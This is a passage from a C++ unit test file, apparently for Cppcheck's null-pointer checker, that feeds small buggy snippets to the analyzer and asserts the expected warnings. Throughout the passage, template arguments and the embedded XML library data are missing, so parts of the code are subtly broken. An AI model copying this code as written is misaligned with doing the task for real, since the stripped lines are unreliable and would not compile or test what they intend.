ticket #3211\n\n check(\"void f(char *dummy) {\\n\"\n \" int* iVal = 0;\\n\"\n \" sscanf(dummy, \\\"%d\\\", iVal);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:25]: (error) Null pointer dereference: iVal [nullPointer]\\n\"\n \"[test.cpp:3:25]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:3:25]: (error) Null pointer dereference [nullPointer]\\n\", // duplicate\n errout_str());\n\n check(\"void f(char *dummy) {\\n\"\n \" int* iVal;\\n\"\n \" sscanf(dummy, \\\"%d\\\", foo(iVal));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *dummy) {\\n\"\n \" int* iVal = 0;\\n\"\n \" sscanf(dummy, \\\"%d%d\\\", foo(iVal), iVal);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* dummy) {\\n\"\n \" sscanf(dummy, \\\"%*d%u\\\", 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:28]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:2:28]: (error) Null pointer dereference [nullPointer]\\n\", // duplicate\n errout_str());\n }\n\n void nullpointer_in_return() {\n // extracttests.start: int maybe(); int *g();\n check(\"int foo() {\\n\"\n \" int* iVal = 0;\\n\"\n \" if(maybe()) iVal = g();\\n\"\n \" return iVal[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Possible null pointer dereference: iVal [nullPointer]\\n\", errout_str());\n\n check(\"int foo(int* iVal) {\\n\"\n \" return iVal[0];\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer_in_typeid() {\n // Should throw std::bad_typeid\n check(\"struct PolymorphicA { virtual ~A() {} };\\n\"\n \"bool foo() {\\n\"\n \" PolymorphicA* a = 0;\\n\"\n \" return typeid(*a) == typeid(*a);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct NonPolymorphicA { ~A() {} };\\n\"\n \"bool foo() {\\n\"\n \" NonPolymorphicA* a = 0;\\n\"\n \" return typeid(*a) == typeid(*a);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo() {\\n\"\n \" char* c = 0;\\n\"\n \" return typeid(*c) == typeid(*c);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer_in_alignof() // #11401\n {\n check(\"size_t foo() {\\n\"\n \" char* c = 0;\\n\"\n \" return alignof(*c);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t foo() {\\n\"\n \" return alignof(*0);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) {\\n\"\n \" f(alignof(*p));\\n\"\n \" if (p) {}\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t foo() {\\n\"\n \" char* c = 0;\\n\"\n \" return _Alignof(*c);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t foo() {\\n\"\n \" return _alignof(*0);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t foo() {\\n\"\n \" return __alignof(*0);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"size_t foo() {\\n\"\n \" return __alignof__(*0);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointer_in_for_loop() {\n // Ticket #3278\n check(\"void f(int* ptr, int cnt){\\n\"\n \" if (!ptr)\\n\"\n \" cnt = 0;\\n\"\n \" for (int i = 0; i < cnt; ++i)\\n\"\n \" *ptr++ = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11635\n check(\"void f(char *cons, int rlen, int pos) {\\n\"\n \" int i;\\n\"\n \" char* cp1;\\n\"\n \" for (cp1 = &cons[pos], i = 1; i < rlen; cp1--)\\n\"\n \" if (*cp1 == '*')\\n\"\n \" continue;\\n\"\n \" else\\n\"\n \" i++;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointerDeadCode() {\n // Ticket #11311\n check (\"void f() {\\n\"\n \" if (0)\\n\"\n \" *(int *)0 = 1;\\n\"\n \" else\\n\"\n \" ;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check (\"void f() {\\n\"\n \" if (0)\\n\"\n \" *(int *)0 = 1;\\n\"\n \" else {\\n\"\n \" if (0)\\n\"\n \" *(int *)0 = 2;\\n\"\n \" else\\n\"\n \" ;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check (\"void f() {\\n\"\n \" while(0)\\n\"\n \" *(int*)0 = 1;\\n\"\n \" do {\\n\"\n \" } while(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check (\"int f() {\\n\"\n \" return 0 ? *(int*)0 = 1 : 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check (\"int f() {\\n\"\n \" return 1 ? 1 : *(int*)0 = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointerDelete() {\n check(\"void f() {\\n\"\n \" K *k = getK();\\n\"\n \" if (k)\\n\"\n \" k->doStuff();\\n\"\n \" delete k;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" K *k = getK();\\n\"\n \" if (k)\\n\"\n \" k[0] = ptr;\\n\"\n \" delete [] k;\\n\"\n \" k = new K[10];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointerSubFunction() {\n check(\"void g(int* x) { *x; }\\n\"\n \"void f(int* x) {\\n\"\n \" if (x)\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointerExit() {\n check(\"void f() {\\n\"\n \" K *k = getK();\\n\"\n \" if (!k)\\n\"\n \" exit(1);\\n\"\n \" k->f();\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nullpointerStdString() {\n check(\"void f(std::string s1) {\\n\"\n \" void* p = 0;\\n\"\n \" s1 = 0;\\n\"\n \" s1 = '\\\\0';\\n\"\n \" std::string s2 = 0;\\n\"\n \" std::string s2 = '\\\\0';\\n\"\n \" std::string s3(0);\\n\"\n \" foo(std::string(0));\\n\"\n \" s1 = p;\\n\"\n \" std::string s4 = p;\\n\"\n \" std::string s5(p);\\n\"\n \" foo(std::string(p));\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:9:10]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:10:22]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:11:20]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:12:21]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:3:10]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:5:22]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:7:17]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:8:9]: (error) Null pointer dereference [nullPointer]\\n\"\n , errout_str());\n\n check(\"void f(std::string s1) {\\n\"\n \" s1 = nullptr;\\n\"\n \" std::string s2 = nullptr;\\n\"\n \" std::string s3(nullptr);\\n\"\n \" foo(std::string(nullptr));\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:3:22]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:4:17]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:5:9]: (error) Null pointer dereference [nullPointer]\\n\"\n , errout_str());\n\n check(\"void f(std::string s1) {\\n\"\n \" s1 = NULL;\\n\"\n \" std::string s2 = NULL;\\n\"\n \" std::string s3(NULL);\\n\"\n \" foo(std::string(NULL));\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:10]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:3:22]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:4:17]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:5:9]: (error) Null pointer dereference [nullPointer]\\n\"\n , errout_str());\n\n check(\"void f(std::string s1, const std::string& s2, const std::string* s3) {\\n\"\n \" void* p = 0;\\n\"\n \" if (x) { return; }\\n\"\n \" foo(s1 == p);\\n\"\n \" foo(s2 == p);\\n\"\n \" foo(s3 == p);\\n\"\n \" foo(p == s1);\\n\"\n \" foo(p == s2);\\n\"\n \" foo(p == s3);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:15]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:5:15]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:7:9]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:8:9]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"void f(std::string s1, const std::string& s2, const std::string* s3) {\\n\"\n \" void* p = 0;\\n\"\n \" if (x) { return; }\\n\"\n \" foo(0 == s1.size());\\n\"\n \" foo(0 == s2.size());\\n\"\n \" foo(0 == s3->size());\\n\"\n \" foo(s1.size() == 0);\\n\"\n \" foo(s2.size() == 0);\\n\"\n \" foo(s3->size() == 0);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s1, const std::string& s2) {\\n\"\n \" if (x) { return; }\\n\"\n \" foo(0 == s1[0]);\\n\"\n \" foo(0 == s2[0]);\\n\"\n \" foo(s1[0] == 0);\\n\"\n \" foo(s2[0] == 0);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s1, const std::string& s2) {\\n\"\n \" if (x) { return; }\\n\"\n \" foo(s1 == '\\\\0');\\n\"\n \" foo(s2 == '\\\\0');\\n\"\n \" foo('\\\\0' == s1);\\n\"\n \" foo('\\\\0' == s2);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Bar {\\n\"\n \" std::string s;\\n\"\n \" Bar() : s(0) {}\\n\"\n \"};\\n\"\n \"class Foo {\\n\"\n \" std::string s;\\n\"\n \" Foo();\\n\"\n \"};\\n\"\n \"Foo::Foo() : s(0) {}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:9:14]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string s = 0 == x ? \\\"a\\\" : \\\"b\\\";\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const std::string s = g();\\n\"\n \" ASSERT_MESSAGE(\\\"Error on s\\\", 0 == s.compare(\\\"Some text\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int i, std::string s);\\n\"\n \"void bar() {\\n\"\n \" foo(0, \\\"\\\");\\n\"\n \" foo(0, 0);\\n\"\n \" foo(var, 0);\\n\"\n \" foo(var, NULL);\\n\"\n \" foo(var, nullptr);\\n\"\n \" foo(0, var);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:5:12]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:6:12]: (error) Null pointer dereference [nullPointer]\\n\"\n \"[test.cpp:7:12]: (error) Null pointer dereference [nullPointer]\\n\", errout_str());\n\n check(\"std::string f() {\\n\" // #9827\n \" char* p = NULL;\\n\"\n \" int r = g(p);\\n\"\n \" if (!r)\\n\"\n \" return \\\"\\\";\\n\"\n \" std::string s(p);\\n\"\n \" return s;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11078\n \" const char* p = nullptr;\\n\"\n \" std::string s1{ p };\\n\"\n \" std::string s2{ nullptr };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:21]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:4:17]: (error) Null pointer dereference [nullPointer]\\n\",\n errout_str());\n\n check(\"const char* g(long) { return nullptr; }\\n\" // #11561\n \"void f() { std::string s = g(0L); }\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:29]: (error) Null pointer dereference: g(0L) [nullPointer]\\n\",\n errout_str());\n }\n\n void nullpointerStdStream() {\n check(\"void f(std::ifstream& is) {\\n\"\n \" char* p = 0;\\n\"\n \" is >> p;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (error) Possible null pointer dereference: p\\n\", \"\", errout_str());\n\n check(\"void f(const std::ostringstream& oss, char* q) {\\n\"\n \" char const* p = 0;\\n\" // Simplification makes detection of bug difficult\n \" oss << p;\\n\"\n \" oss << foo << p;\\n\"\n \" if(q == 0)\\n\"\n \" oss << foo << q;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:4:19]: (error) Null pointer dereference: p [nullPointer]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:6:23]: (warning) Either the condition 'q==0' is redundant or there is possible null pointer dereference: q. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"void f(const char* p) {\\n\"\n \" if(p == 0) {\\n\"\n \" std::cout << p;\\n\"\n \" std::cerr << p;\\n\"\n \" std::cin >> p;\\n\"\n \" std::cout << abc << p;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:3:22]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:2:10] -> [test.cpp:4:22]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:2:10] -> [test.cpp:5]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:2:10] -> [test.cpp:6]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n \"[test.cpp:2:10] -> [test.cpp:3:22]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\"\n \"[test.cpp:2:10] -> [test.cpp:4:22]: (warning) Either the condition 'p==0' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" void* p1 = 0;\\n\"\n \" std::cout << p1;\\n\" // No char*\n \" char* p2 = 0;\\n\"\n \" std::cin >> (int)p;\\n\" // result casted\n \" std::cout << (int)p;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string& str) {\\n\"\n \" long long ret = 0;\\n\"\n \" std::istringstream istr(str);\\n\"\n \" istr >> std::hex >> ret;\\n\" // Read integer\n \" return ret;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int* i) {\\n\"\n \" if(i) return;\\n\"\n \" std::cout << i;\\n\" // Its no char* (#4240)\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5811 false positive: (error) Null pointer dereference\n check(\"using namespace std;\\n\"\n \"std::string itoip(int ip) {\\n\"\n \" stringstream out;\\n\"\n \" out << ((ip >> 0) & 0xFF);\\n\"\n \" return out.str();\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // avoid regression from first fix attempt for #5811...\n check(\"void deserialize(const std::string &data) {\\n\"\n \"std::istringstream iss(data);\\n\"\n \"unsigned int len = 0;\\n\"\n \"if (!(iss >> len))\\n\"\n \" return;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void nullpointerSmartPointer() {\n // extracttests.start: void dostuff(int);\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(std::shared_ptr p) {\\n\"\n \" if (p) {}\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7] -> [test.cpp:4:11]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(std::shared_ptr p) {\\n\"\n \" p = nullptr;\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(std::unique_ptr p) {\\n\"\n \" if (p) {}\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7] -> [test.cpp:4:11]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(std::unique_ptr p) {\\n\"\n \" p = nullptr;\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f() {\\n\"\n \" std::shared_ptr p;\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(std::shared_ptr p) {\\n\"\n \" p.reset();\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(std::shared_ptr p) {\\n\"\n \" Fred * pp = nullptr;\\n\"\n \" p.reset(pp);\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:11]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(Fred& f) {\\n\"\n \" std::shared_ptr p;\\n\"\n \" p.reset(&f);\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f(std::shared_ptr p) {\\n\"\n \" p.reset();\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"struct Fred { int x; };\\n\"\n \"void f() {\\n\"\n \" std::shared_ptr p(nullptr);\\n\"\n \" dostuff(p->x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Null pointer dereference: p [nullPointer]\\n\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f(int n) {\\n\"\n \" std::unique_ptr p;\\n\"\n \" p.reset(new const A*[n]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9216\n check(\"struct A {\\n\"\n \" void reset();\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void g(std::unique_ptr var) {\\n\"\n \" var->reset();\\n\"\n \" var->f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9439\n check(\"char* g();\\n\"\n \"char* f() {\\n\"\n \" std::unique_ptr x(g());\\n\"\n \" if( x ) {}\\n\"\n \" return x.release();\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9496\n check(\"std::shared_ptr f() {\\n\"\n \" return std::shared_ptr(nullptr);\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int a = *f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (error) Null pointer dereference: f() [nullPointer]\\n\", errout_str());\n }\n\n void nullpointerOutOfMemory() {\n check(\"void f() {\\n\"\n \" int *p = malloc(10);\\n\"\n \" *p = 0;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning) If memory allocation fails, then there is a possible null pointer dereference: p [nullPointerOutOfMemory]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int *p = malloc(10);\\n\"\n \" *(p+2) = 0;\\n\"\n \" free(p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) If memory allocation fails: pointer addition with NULL pointer. [nullPointerArithmeticOutOfMemory]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #13676\n \" int* q = static_cast(std::malloc(4));\\n\"\n \" *q = 0;\\n\"\n \" std::free(q);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning) If memory allocation fails, then there is a possible null pointer dereference: q [nullPointerOutOfMemory]\\n\", errout_str());\n }\n\n void functioncall() { // #3443 - function calls\n // dereference pointer and then check if it's null\n {\n // function not seen\n check(\"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" foo(p);\\n\"\n \" if (p) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function seen (taking pointer parameter)\n check(\"void foo(int *p) { }\\n\"\n \"\\n\"\n \"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" foo(p);\\n\"\n \" if (p) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:9] -> [test.cpp:4:6]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // function seen (taking reference parameter)\n check(\"void foo(int *&p) { }\\n\"\n \"\\n\"\n \"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" foo(p);\\n\"\n \" if (p) { }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // function implementation not seen\n check(\"void foo(int *p);\\n\"\n \"\\n\"\n \"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" foo(p);\\n\"\n \" if (p) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:9] -> [test.cpp:4:6]: (warning) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // inconclusive\n check(\"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \" foo(p);\\n\"\n \" if (p) { }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:2:6]: (warning, inconclusive) Either the condition 'p' is redundant or there is possible null pointer dereference: p. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n\n // dereference struct pointer and then check if it's null\n {\n // function not seen\n check(\"void f(struct ABC *abc) {\\n\"\n \" abc->a = 0;\\n\"\n \" foo(abc);\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function seen (taking pointer parameter)\n check(\"void foo(struct ABC *abc) { }\\n\"\n \"\\n\"\n \"void f(struct ABC *abc) {\\n\"\n \" abc->a = 0;\\n\"\n \" foo(abc);\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:9] -> [test.cpp:4:5]: (warning) Either the condition 'abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // function implementation not seen\n check(\"void foo(struct ABC *abc);\\n\"\n \"\\n\"\n \"void f(struct ABC *abc) {\\n\"\n \" abc->a = 0;\\n\"\n \" foo(abc);\\n\"\n \" if (abc) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:9] -> [test.cpp:4:5]: (warning) Either the condition 'abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\",\n errout_str());\n\n // inconclusive\n check(\"void f(struct ABC *abc) {\\n\"\n \" abc->a = 0;\\n\"\n \" foo(abc);\\n\"\n \" if (abc) { }\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:2:5]: (warning, inconclusive) Either the condition 'abc' is redundant or there is possible null pointer dereference: abc. [nullPointerRedundantCheck]\\n\",\n errout_str());\n }\n }\n\n void functioncalllibrary() {\n SimpleTokenizer tokenizer(settingsDefault,*this,false);\n const char code[] = \"void f() { int a,b,c; x(a,b,c); }\";\n ASSERT_EQUALS(true, tokenizer.tokenize(code));\n const Token *xtok = Token::findsimplematch(tokenizer.tokens(), \"x\");\n\n // nothing bad..\n {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n\n Library library;\n ASSERT(LibraryHelper::loadxmldata(library, xmldata, sizeof(xmldata)));\n\n std::list null;\n CheckNullPointer::parseFunctionCall(*xtok, null, library);\n ASSERT_EQUALS(0U, null.size());\n }\n\n // for 1st parameter null pointer is not ok..\n {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n\n Library library;\n ASSERT(LibraryHelper::loadxmldata(library, xmldata, sizeof(xmldata)));\n\n std::list null;\n CheckNullPointer::parseFunctionCall(*xtok, null, library);\n ASSERT_EQUALS(1U, null.size());\n ASSERT_EQUALS(\"a\", null.front()->str());\n }\n }\n\n void functioncallDefaultArguments() {\n\n check(\"void f(int *p = 0) {\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" if (!p)\\n\"\n \" return;\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char a, int *p = 0) {\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" printf(\\\"p = %d\\\", *p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" printf(\\\"p[1] = %d\\\", p[1]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible null pointer dereference if the default parameter value is used: p [nullPointerDefaultArg]\\n\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" buf[p] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" if (p != 0 && bar())\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p) {\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" if (p != 0)\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int *p = 0) {\\n\"\n \" int y;\\n\"\n \" if (p == 0)\\n\"\n \" p = &y;\\n\"\n \" *p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int *p = 0) {\\n\"\n \" if (a != 0)\\n\"\n \" *p = 0;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (warning) Possible null pointer dereference if the default parameter value is used: p 